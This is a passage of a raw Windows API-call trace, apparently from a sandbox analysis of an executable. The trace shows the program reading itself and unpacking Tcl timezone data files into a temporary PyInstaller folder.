lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0040.132] CloseHandle (hObject=0x10c) returned 1 [0040.132] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0040.133] htonl (hostlong=0x30000000) returned 0x30 [0040.133] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0040.133] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0040.133] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0040.133] GetFileType (hFile=0x10c) returned 0x1 [0040.133] htonl (hostlong=0x79d85a00) returned 0x5ad879 [0040.133] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5f8879, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0040.133] htonl (hostlong=0xf7000000) returned 0xf7 [0040.134] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xf7) returned 0x550600 [0040.134] htonl (hostlong=0xf7000000) returned 0xf7 [0040.134] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0040.134] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0040.134] htonl (hostlong=0x56020000) returned 0x256 [0040.134] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x256) returned 0x550700 [0040.134] htonl (hostlong=0xf7000000) returned 0xf7 [0040.134] htonl (hostlong=0x56020000) returned 0x256 [0040.134] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0040.135] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0040.135] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0040.135] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0040.135] CloseHandle (hObject=0x10c) returned 1 [0040.135] GetLastError () returned 0x0 [0040.135] SetLastError (dwErrCode=0x0) [0040.135] GetLastError () returned 0x0 [0040.135] SetLastError (dwErrCode=0x0) [0040.135] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0040.135] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.135] GetFileType (hFile=0x10c) returned 0x1 [0040.135] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.135] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.135] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.135] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.135] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.135] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.135] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.135] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.135] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.135] CloseHandle (hObject=0x10c) returned 1 [0040.135] GetLastError () returned 0x0 [0040.135] SetLastError (dwErrCode=0x0) [0040.135] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0040.135] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.136] GetFileType (hFile=0x10c) returned 0x1 [0040.136] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.136] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.136] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.136] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.136] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.136] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.136] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.136] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.136] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.136] CloseHandle (hObject=0x10c) returned 1 [0040.136] GetLastError () returned 0x0 [0040.136] SetLastError (dwErrCode=0x0) [0040.136] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia") returned 61 [0040.136] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.136] GetFileType (hFile=0x10c) returned 0x1 [0040.136] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.136] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.136] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.136] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.136] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.136] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.136] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.136] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.136] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.136] CloseHandle (hObject=0x10c) returned 1 [0040.137] GetLastError () returned 0x0 [0040.137] SetLastError (dwErrCode=0x0) [0040.137] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Harbin") returned 68 [0040.137] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Harbin" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia\\harbin"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0040.137] GetLastError () returned 0x2 [0040.137] SetLastError (dwErrCode=0x2) [0040.137] GetLastError () returned 0x2 [0040.137] SetLastError (dwErrCode=0x2) [0040.137] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Harbin", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Harbin", lpFilePart=0x0) returned 0x43 [0040.137] GetLastError () returned 0x2 [0040.137] SetLastError (dwErrCode=0x2) [0040.137] GetLastError () returned 0x2 [0040.137] SetLastError (dwErrCode=0x2) [0040.137] GetLastError () returned 0x2 [0040.137] SetLastError (dwErrCode=0x2) [0040.137] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Harbin") returned 68 [0040.137] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0040.137] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Harbin" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia\\harbin"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0040.137] GetFileType (hFile=0x10c) returned 0x1 [0040.137] htonl (hostlong=0x56020000) returned 0x256 [0040.137] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0040.137] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0x256, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0x256, lpOverlapped=0x0) returned 1 [0040.138] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0040.138] CloseHandle (hObject=0x10c) returned 1 [0040.139] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550700 | out: hHeap=0x530000) returned 1 [0040.139] htonl (hostlong=0x30000000) returned 0x30 [0040.139] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0040.139] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0040.139] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0040.139] GetFileType (hFile=0x10c) returned 0x1 [0040.139] htonl (hostlong=0x70d95a00) returned 0x5ad970 [0040.139] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5f8970, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0040.139] htonl (hostlong=0x60060000) returned 0x660 [0040.139] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x660) returned 0x55e278 [0040.139] htonl (hostlong=0x60060000) returned 0x660 [0040.139] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0040.139] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0040.139] htonl (hostlong=0x31f0000) returned 0x1f03 [0040.139] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1f03) returned 0x561090 [0040.139] htonl (hostlong=0x60060000) returned 0x660 [0040.139] htonl (hostlong=0x31f0000) returned 0x1f03 [0040.139] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x562fa0 [0040.139] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x562fa0 | out: hHeap=0x530000) returned 1 [0040.139] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55e278 | out: hHeap=0x530000) returned 1 [0040.139] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0040.139] CloseHandle (hObject=0x10c) returned 1 [0040.140] GetLastError () returned 0x0 [0040.140] SetLastError (dwErrCode=0x0) [0040.140] GetLastError () returned 0x0 [0040.140] SetLastError (dwErrCode=0x0) [0040.140] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0040.140] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.140] GetFileType (hFile=0x10c) returned 0x1 [0040.140] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.140] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.140] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.140] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.140] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.140] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.140] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.140] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.140] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.140] CloseHandle (hObject=0x10c) returned 1 [0040.140] GetLastError () returned 0x0 [0040.140] SetLastError (dwErrCode=0x0) [0040.140] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0040.140] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.140] GetFileType (hFile=0x10c) returned 0x1 [0040.140] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.140] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.140] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.141] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.141] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.141] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.141] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.141] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.141] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.141] CloseHandle (hObject=0x10c) returned 1 [0040.141] GetLastError () returned 0x0 [0040.141] SetLastError (dwErrCode=0x0) [0040.141] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia") returned 61 [0040.141] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0040.141] GetFileType (hFile=0x10c) returned 0x1 [0040.141] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.141] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0040.141] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0040.141] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0040.141] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.141] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.141] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0040.141] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0040.141] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0040.141] CloseHandle (hObject=0x10c) returned 1 [0040.141] GetLastError () returned 0x0 [0040.141] SetLastError (dwErrCode=0x0) [0040.141] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Hebron") returned 68 [0040.141] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Hebron" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia\\hebron"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0040.142] GetLastError () returned 0x2 [0040.142] SetLastError (dwErrCode=0x2) [0040.142] GetLastError () returned 0x2 [0040.142] SetLastError (dwErrCode=0x2) [0040.142] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Hebron", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Hebron", lpFilePart=0x0) returned 0x43 [0040.142] GetLastError () returned 0x2 [0040.142] SetLastError (dwErrCode=0x2) [0040.142] GetLastError () returned 0x2 [0040.142] SetLastError (dwErrCode=0x2) [0040.142] GetLastError () returned 0x2 [0040.142] SetLastError (dwErrCode=0x2) [0040.142] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Hebron") returned 68 [0040.142] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0040.142] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Asia\\Hebron" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\asia\\hebron"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0040.142] GetFileType (hFile=0x10c) returned 0x1 [0040.142] htonl (hostlong=0x31f0000) returned 0x1f03 [0040.142] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd00*=0x1000, lpOverlapped=0x0) returned 1 [0040.143] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0040.143] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0xf03, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0xf03, lpOverlapped=0x0) returned 1 [0040.143] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0040.143] CloseHandle (hObject=0x10c) returned 1 [0040.143] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0040.144] htonl (hostlong=0x30000000) returned 0x30 [0040.144] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0040.144] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0040.144] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0040.144] GetFileType (hFile=0x10c) returned 0x1 [0040.144] htonl (hostlong=0xd0df5a00) 